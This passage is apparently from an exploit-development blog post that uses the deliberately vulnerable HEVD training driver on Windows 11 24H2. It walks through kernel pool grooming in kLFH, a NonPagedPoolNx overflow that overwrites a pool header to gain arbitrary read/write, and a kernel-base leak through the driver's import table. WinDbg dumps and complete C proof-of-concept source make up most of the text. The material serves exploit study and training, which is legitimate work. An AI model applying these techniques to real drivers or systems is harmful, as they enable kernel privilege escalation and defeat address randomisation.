ffffa5089e59afa0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59afc0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59afe0 size: 20 previous size: 0 (Allocated) Hack
3: kd> dt nt!_POOL_HEADER ffffa5089e59ad00
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000010 (0x2)
+0x002 BlockSize : 0y00000010 (0x2)
+0x002 PoolType : 0y00000010 (0x2)
+0x000 Ulong1 : 0x2020200
+0x004 PoolTag : 0x6b636148
+0x008 ProcessBilled : 0x00000000`67bcbf9a _EPROCESS
+0x008 AllocatorBackTraceIndex : 0xbf9a
+0x00a PoolTagHash : 0x67bc
3: kd> dq ffffa5089e59ad00
ffffa508`9e59ad00 6b636148`02020200 00000000`67bcbf9a
ffffa508`9e59ad10 ffffa508`9e59a990 00000000`00000008
ffffa508`9e59ad20 6b636148`0202de00 00000000`00000000
ffffa508`9e59ad30 90909090`90909090 c0000034`00020002
ffffa508`9e59ad40 6b636148`02020200 00000000`dd772757
ffffa508`9e59ad50 ffffa508`9e59b030 00000000`00000008
ffffa508`9e59ad60 6b636148`02020200 00000000`6cb516b5
ffffa508`9e59ad70 90909090`90909090 00000000`00000000
3: kd> dq ffffa5089e59af80
ffffa508`9e59af80 6b636148`02020000 00010018`00380060
ffffa508`9e59af90 ffffa508`9e59a8f0 00000000`00000008
ffffa508`9e59afa0 6b636148`02024000 01dbfd50`194a27b7
ffffa508`9e59afb0 ffffa508`9e59ab10 00000000`00000008
ffffa508`9e59afc0 6b636148`02020200 00000000`3378e623
ffffa508`9e59afd0 90909090`90909090 00000000`00000000
ffffa508`9e59afe0 6b636148`02020200 00000000`5cf3c950
ffffa508`9e59aff0 90909090`90909090 00000000`00000000
3: kd> dt nt!_POOL_HEADER ffffa5089e59af80
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00000010 (0x2)
+0x002 PoolType : 0y00000010 (0x2)
+0x000 Ulong1 : 0x2020000
+0x004 PoolTag : 0x6b636148
+0x008 ProcessBilled : 0x00010018`00380060 _EPROCESS
+0x008 AllocatorBackTraceIndex : 0x60
+0x00a PoolTagHash : 0x38
Now yes, let’s move on to the exploitation.
Exploitation
We’ll start from the code in the previous section, the one that allowed us to extract the address of KlfhHEVD.sys
.
1
2
3
4
5
6
7
8
9
10
11
...
Sleep(500);
if (!exploit(hFile, addrKrnl)) {
printf("\n[ERROR on EXPLOITATION o_0]\n");
CloseHandle(hFile);
return -1;
}
return 0;
}
NOTE: Between function calls I like to leave a Sleep
, at least in this case, since it triggers loads and I prefer to give more time between both functions.
1
2
3
4
5
6
7
8
...
typedef struct _ARW_HELPER_OBJECT_IO
{
PVOID HelperObjectAddress;
PVOID Name;
SIZE_T Length;
} ARW_HELPER_OBJECT_IO, * PARW_HELPER_OBJECT_IO;
...
The first step is to declare the structure we’re going to use.
Next, we start with the function:
1
2
3
4
5
6
7
8
9
10
11
12
13
bool exploit(HANDLE hFile, UINT64 addrKrnl) {
ARW_HELPER_OBJECT_IO HelperArray[5000] = { 0 };
printf("\n[HelperObjArray] -> 0x%p\n", HelperArray);
ULONG bytes;
ARW_HELPER_OBJECT_IO MyArwHelpObjIo = { 0 };
MyArwHelpObjIo.Length = 8;
DeviceIoControl(hFile, 0x222063, &MyArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &MyArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);
...
We prepare an array with 5000 members, declare our MyArwHelpObjIo
struct and create it by calling CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
.
Then we proceed with object allocations in the pool to fill the gaps:
1
2
3
4
5
6
7
8
9
10
11
12
...
unsigned long long addr = 0xdeadbeefdeadbeef;
for (unsigned int i = 0; i < 5000; i++) {
ArwHelpObjIo.Name = &addr;
DeviceIoControl(hFile, 0x222063, &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);
DeviceIoControl(hFile, 0x222067, &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);
}
...
This will allow us to do what we described earlier.
The following code does almost the same thing:
1
2
3
4
5
6
7
8
9
10
11
12
...
for (unsigned int i = 0; i < 5000; i++) {
ArwHelpObjIo.Name = &addr;
DeviceIoControl(hFile, 0x222063, &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);
DeviceIoControl(hFile, 0x222067, &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);
HelperArray[i] = ArwHelpObjIo;
}
...
But this time we register each struct in HelperArray
, which now become useful objects.
In the next part of the code, we start creating the holes in the heap:
1
2
3
4
5
6
7
8
9
10
11
...
for (unsigned int i = 0; i < 5000; i++) {
if (i % 2 == 0) {
ArwHelpObjIo.Name = &addr;
DeviceIoControl(hFile, 0x22206f, &HelperArray[i], sizeof(ARW_HELPER_OBJECT_IO), &HelperArray[i], sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);
}
}
...
To do this, we’ll call DeleteArbitraryReadWriteHelperObjecNonPagedPoolNx
to delete half of the objects (the even ones in the array in this case).
Now we declare the buffer that will be our key to arbitrary read/write:
1
2
3
4
5
6
7
8
9
10
11
12
13
...
unsigned long long pBuffer[5] = { 0 };
pBuffer[0] = 0xbabababababababa;
pBuffer[1] = 0xbabababababababa;
// pBuffer[2] = 0x6b6361480202b200;
pBuffer[2] = 0x6b63614802020000;
pBuffer[3] = 0xbabababababababa;
pBuffer[4] = (unsigned long long)MyArwHelpObjIo.HelperObjectAddress;
// using buffer overflow to rewrite the address;
DeviceIoControl(hFile, 0x22204b, &pBuffer, 0x28, &pBuffer, 0x28, &bytes, nullptr);
...
The first two ULLs are padding, the next is the _POOL_HEADER
that will be overwritten, the third is also padding, and the fourth and most important is the HelperObjectAddress
of our object. Finally, we call TriggerBufferOverflowNonPagedPoolNx
for the overwrite.
Then we iterate through all structs checking if their first 8 bytes are the same (0xdeadbeefdeadbeef
) or the ones we set (pBuffer[3] = 0xbabababababababa;
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unsigned long long tester = 0xdeadbeefdeadbeef;
unsigned int index = 0;
for (unsigned int i = 0; i < 5000; i++) {
HelperArray[i].Name = &tester;
DeviceIoControl(hFile, 0x22206b, &HelperArray[i], sizeof(HelperArray[i]), &HelperArray[i], sizeof(HelperArray[i]), &bytes, nullptr);
if (tester != 0xdeadbeefdeadbeef) {
printf("\n[%d] Affected allocation by the overflow -> 0x%p\n", i, HelperArray[i].HelperObjectAddress);
UINT64 pExAllocatePoolWithTag = addrKrnl + 0x2008;
HelperArray[i].Name = &pExAllocatePoolWithTag;
DeviceIoControl(hFile, 0x222067, &HelperArray[i], sizeof(HelperArray[i]), &HelperArray[i], sizeof(HelperArray[i]), &bytes, nullptr);
unsigned long long ntPointer = 0x9090909090909090;
MyArwHelpObjIo.Name = &ntPointer;
DeviceIoControl(hFile, 0x22206b, &MyArwHelpObjIo, sizeof(MyArwHelpObjIo), &MyArwHelpObjIo, sizeof(MyArwHelpObjIo), &bytes, nullptr);
ntPointer -= 0x00b69010;
printf("\n[Nt base] -> 0x%p\n", ntPointer);
return true;
}
}
return false;
}
If this is the case, then we already have arbitrary read/write. To simplify, let’s say we want to get the address of ntoskrnl.exe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
...
if (tester != 0xdeadbeefdeadbeef) {
printf("\n[%d] Affected allocation by the overflow -> 0x%p\n", i, HelperArray[i].HelperObjectAddress);
UINT64 pExAllocatePoolWithTag = addrKrnl + 0x2008;
HelperArray[i].Name = &pExAllocatePoolWithTag;
DeviceIoControl(hFile, 0x222067, &HelperArray[i], sizeof(HelperArray[i]), &HelperArray[i], sizeof(HelperArray[i]), &bytes, nullptr);
unsigned long long ntPointer = 0x9090909090909090;
MyArwHelpObjIo.Name = &ntPointer;
DeviceIoControl(hFile, 0x22206b, &MyArwHelpObjIo, sizeof(MyArwHelpObjIo), &MyArwHelpObjIo, sizeof(MyArwHelpObjIo), &bytes, nullptr);
ntPointer -= 0x00b69010;
printf("\n[Nt base] -> 0x%p\n", ntPointer);
return true;
}
...
To get the nt
base, first we need to get the address of the IAT:
0: kd> !dh KlfhHEVD -f
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
8664 machine (X64)
7 number of sections
687D2D8C time date stamp Sun Jul 20 19:55:24 2025
0 file pointer to symbol table
0 number of symbols
F0 size of optional header
22 characteristics
Executable
App can handle >2gb addresses
OPTIONAL HEADER VALUES
20B magic #
14.42 linker version
5E00 size of code
81400 size of initialized data
0 size of uninitialized data
8A140 address of entry point
1000 base of code
----- new -----
fffff80552010000 image base
1000 section alignment
200 file alignment
1 subsystem (Native)
10.00 operating system version
10.00 image version
10.00 subsystem version
8C000 size of image
400 size of headers
11867 checksum
0000000000100000 size of stack reserve
0000000000001000 size of stack commit
0000000000100000 size of heap reserve
0000000000001000 size of heap commit
4160 DLL characteristics
High entropy VA supported
Dynamic base
NX compatible
Guard
0 [ 0] address [size] of Export Directory
8A470 [ 28] address [size] of Import Directory
0 [ 0] address [size] of Resource Directory
84000 [ 318] address [size] of Exception Directory
7600 [ 7B0] address [size] of Security Directory
8B000 [ 24] address [size] of Base Relocation Directory
2230 [ 38] address [size] of Debug Directory
0 [ 0] address [size] of Description Directory
0 [ 0] address [size] of Special Directory
0 [ 0] address [size] of Thread Storage Directory
20F0 [ 140] address [size] of Load Configuration Directory
0 [ 0] address [size] of Bound Import Directory
2000 [ 80] address [size] of Import Address Table Directory
0 [ 0] address [size] of Delay Import Directory
0 [ 0] address [size] of COR20 Header Directory
0 [ 0] address [size] of Reserved Directory
As we can see, it’s at offset 0x2000
bytes:
2000 [ 80] address [size] of Import Address Table Directory
0: kd> dqs KlfhHEVD+0x2000
fffff805`52012000 fffff805`bd5edac0 nt!DbgPrintEx
fffff805`52012008 fffff805`bdd69010 nt!ExAllocatePoolWithTag
fffff805`52012010 fffff805`bdd69cd0 nt!ExFreePoolWithTag
fffff805`52012018 fffff805`bdbdfaf0 nt!ProbeForRead
fffff805`52012020 fffff805`bdb27820 nt!ProbeForWrite
fffff805`52012028 fffff805`bd700380 nt!_C_specific_handler
fffff805`52012030 fffff805`bd65b7d0 nt!RtlInitUnicodeString
fffff805`52012038 fffff805`bd503490 nt!IofCompleteRequest
fffff805`52012040 fffff805`bdbae7c0 nt!IoCreateDevice
fffff805`52012048 fffff805`bdc38680 nt!IoCreateSymbolicLink
fffff805`52012050 fffff805`bd407590 nt!IoDeleteDevice
fffff805`52012058 fffff805`bdc9ab60 nt!IoDeleteSymbolicLink
fffff805`52012060 fffff805`bd8a18a0 nt!ZwCreateFile
fffff805`52012068 fffff805`bd8a0f00 nt!ZwWriteFile
fffff805`52012070 fffff805`bd8a0fe0 nt!ZwClose
fffff805`52012078 00000000`00000000
0: kd> dqs KlfhHEVD+0x2008 L1
fffff805`52012008 fffff805`bdd69010 nt!ExAllocatePoolWithTag
We now know that the contents at KlfhHEVD.sys+0x2008
is a pointer to ExAllocatePoolWithTag
, which once read, we can subtract the offset from the base in Windows 11 24h2, which is 0x00b69010
, and thus we get the desired address.
POC time:
As we can see, we have the base address of the kernel, all thanks to knowledge of Windows pool internals and kLFH.
Here is the final code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
#include <stdio.h>
#include <windows.h>
typedef struct _ARW_HELPER_OBJECT_IO
{
PVOID HelperObjectAddress;
PVOID Name;
SIZE_T Length;
} ARW_HELPER_OBJECT_IO, * PARW_HELPER_OBJECT_IO;
bool exploit(HANDLE hFile, UINT64 addrKrnl) {
ARW_HELPER_OBJECT_IO HelperArray[5000] = { 0 };
printf("\n[HelperObjArray] -> 0x%p\n", HelperArray);
ULONG bytes;
ARW_HELPER_OBJECT_IO MyArwHelpObjIo = { 0 };
MyArwHelpObjIo.Length = 8;
DeviceIoControl(hFile, 0x222063, &MyArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &MyArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);
ARW_HELPER_OBJECT_IO ArwHelpObjIo = { 0 };
ArwHelpObjIo.Length = 8;
unsigned long long addr = 0xdeadbeefdeadbeef;
for (unsigned int i = 0; i < 5000; i++) {
ArwHelpObjIo.Name = &addr;
DeviceIoControl(hFile, 0x222063, &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);
DeviceIoControl(hFile, 0x222067, &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);
}
for (unsigned int i = 0; i < 5000; i++) {
ArwHelpObjIo.Name = &addr;
DeviceIoControl(hFile, 0x222063, &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);
DeviceIoControl(hFile, 0x222067, &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);
HelperArray[i] = ArwHelpObjIo;
}
for (unsigned int i = 0; i < 5000; i++) {
if (i % 2 == 0) {
ArwHelpObjIo.Name = &addr;
DeviceIoControl(hFile, 0x22206f, &HelperArray[i], sizeof(ARW_HELPER_OBJECT_IO), &HelperArray[i], sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);
}
}
unsigned long long pBuffer[5] = { 0 };
pBuffer[0] = 0xbabababababababa;
pBuffer[1] = 0xbabababababababa;
// pBuffer[2] = 0x6b6361480202b200;
pBuffer[2] = 0x6b63614802020000;
pBuffer[3] = 0xbabababababababa;
pBuffer[4] = (unsigned long long)MyArwHelpObjIo.HelperObjectAddress;
// using buffer overflow to rewrite the address;
DeviceIoControl(hFile, 0x22204b, &pBuffer, 0x28, &pBuffer, 0x28, &bytes, nullptr);
unsigned long long tester = 0xdeadbeefdeadbeef;
unsigned int index = 0;
for (unsigned int i = 0; i < 5000; i++) {
HelperArray[i].Name = &tester;
DeviceIoControl(hFile, 0x22206b, &HelperArray[i], sizeof(HelperArray[i]), &HelperArray[i], sizeof(HelperArray[i]), &bytes, nullptr);
if (tester != 0xdeadbeefdeadbeef) {
printf("\n[%d] Affected allocation by the overflow -> 0x%p\n", i, HelperArray[i].HelperObjectAddress);
UINT64 pExAllocatePoolWithTag = addrKrnl + 0x2008;
HelperArray[i].Name = &pExAllocatePoolWithTag;
DeviceIoControl(hFile, 0x222067, &HelperArray[i], sizeof(HelperArray[i]), &HelperArray[i], sizeof(HelperArray[i]), &bytes, nullptr);
unsigned long long ntPointer = 0x9090909090909090;
MyArwHelpObjIo.Name = &ntPointer;
DeviceIoControl(hFile, 0x22206b, &MyArwHelpObjIo, sizeof(MyArwHelpObjIo), &MyArwHelpObjIo, sizeof(MyArwHelpObjIo), &bytes, nullptr);
ntPointer -= 0x00b69010;
printf("\n[Nt base] -> 0x%p\n", ntPointer);
return true;
}
}
return false;
}
int main() {
BYTE pOutBuffer[1000] = { 0 };
size_t sOutBuffer = sizeof(pOutBuffer);
DWORD tag = 0;
UINT64 addrKrnl = 0;
ULONG lpBytesReturned = 0;
bool kernel = false;
HANDLE Events[5000] = { 0 };
HANDLE hFile = CreateFileW(L"\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, nullptr,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("\n[!] Error getting the handle to HEVD -> %d\n", GetLastError());
getchar();
return -1;
}
for (unsigned int i = 0; i < 5000; i++) {
Events[i] = CreateEventA(NULL, FALSE, FALSE, NULL); // -> 0x80
if (Events[i] == NULL) {
printf("\n[%d] ERROR ON \"CreateEventA\" -> %d\n", i, GetLastError());
for (unsigned int z = 0; z < 5000; z++) {
if (Events[z] != NULL) {
CloseHandle(Events[z]);
Events[z] = NULL;
}
}
return -1;
}
}
for (unsigned int i = 0; i < 5000; i++) {
if (i % 2 == 0) {
CloseHandle(Events[i]);
Events[i] == NULL;
}
}
for (unsigned int h = 0; h < 2500; h++) {
if (DeviceIoControl(hFile, 0x222053, nullptr, 0, nullptr, 0, &lpBytesReturned, nullptr)) {
printf("\n[!] Error calling \"HEVD_IOCTL_ALLOCATE_UAF_NON_PAGED_POOL_NX\"\n");
getchar();
for (unsigned int u = 0; u < 5000; u++) {
if (Events[u] != NULL) {
CloseHandle(Events[u]);
Events[u] = NULL;
}
}
return -1;
}
}
for (unsigned int i = 0; i < 5000; i++) {
if (i % 2 != 0) {
CloseHandle(Events[i]);
Events[i] == NULL;
}
}
for (unsigned int j = 0; j < 2000; j++) {
if (kernel) {
break;
}
if (!DeviceIoControl(hFile, 0x22204F, nullptr, 0, &pOutBuffer, sOutBuffer, &lpBytesReturned, nullptr)) {
printf("\n[!] Error calling \"HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX\"\n");
getchar();
for (unsigned int u = 0; u < 5000; u++) {
if (Events[u] != NULL) {
CloseHandle(Events[u]);
Events[u] = NULL;
}
}
return -1;
}
memcpy(&tag, (DWORD*)((byte*)pOutBuffer + 0x70 + 4), sizeof(UINT32));
if (tag == *(DWORD*)"Hack" /*tag == 0x6B636148*/) {
printf("\nHEVD module found: \"%c%c%c%c\"\n", ((char*)&tag)[0], ((char*)&tag)[1], ((char*)&tag)[2], ((char*)&tag)[3]);
memcpy(&addrKrnl, (UINT64*)((byte*)pOutBuffer + 0x80), sizeof(UINT64));
printf("\tKernel Address -> [0x%p]\n", addrKrnl);
printf("\t\t\\__Module base -> [0x%p]\n", addrKrnl - 0x88130);
if ((addrKrnl & 0xfffff00000000000) == 0) {
kernel = true;
}
break;
}
else {
printf("\nTAG: \"%c%c%c%c\"\n", ((char*)&tag)[0], ((char*)&tag)[1], ((char*)&tag)[2], ((char*)&tag)[3]);
}
}
for (unsigned int u = 0; u < 5000; u++) {
if (Events[u] != 0) {
CloseHandle(Events[u]);
Events[u] = 0;
}
}
Sleep(500);
if (!exploit(hFile, addrKrnl)) {
printf("\n[ERROR on EXPLOITATION o_0]\n");
CloseHandle(hFile);
return -1;
}
return 0;
}
References
- Windows Internals 1, 7th Edition
- Sheep Year Kernel Heap Fengshui: Spraying in the Big Kids’ Pool
- Exploit Development: Swimming In The (Kernel) Pool - Leveraging Pool Vulnerabilities From Low-Integrity Exploits, Part 1
- Exploit Development: Swimming In The (Kernel) Pool - Leveraging Pool Vulnerabilities From Low-Integrity Exploits, Part 2
Closing
This was a demonstration of how to use the kernel pool to our advantage. It sets a precedent for more advanced future exploitation techniques.
Good morning, and in case I don’t see ya: Good afternoon, good evening, and good night!